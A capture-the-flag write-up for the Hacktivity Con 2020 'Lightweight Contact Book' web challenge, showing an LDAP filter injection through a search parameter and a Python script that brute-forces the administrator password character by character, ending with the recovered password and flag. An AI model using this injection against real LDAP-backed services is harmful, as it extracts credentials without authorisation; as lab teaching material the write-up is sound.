> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/hacktivity-con/web/lightweight-contact-book.md).

# Lightweight Contact Book

With some fuzzing we can figure out that the search is using LDAP. The forgot password message reveals that the password is in the 'description' field. This allows us to char-by-char brute the password: administrator)(description=\*

Will return a result if the password matches this pattern

The pw is: very\_secure\_hacktivity\_pass

```python
import requests
import string
import sys
pwchars = string.ascii_lowercase + string.ascii_uppercase + "_- "

template = "http://jh2i.com:50019/?search=administrator)(description="
password = ""

while True:
    for c in pwchars:
        r = requests.get(template + password  +  c + "*")
        if "Administrator User" in r.text:
            password += c
            break
        print(password + c)
        sys.stdout.write("\033[F")
```

## Flag:flag{kids\_please\_sanitize\_your\_inputs}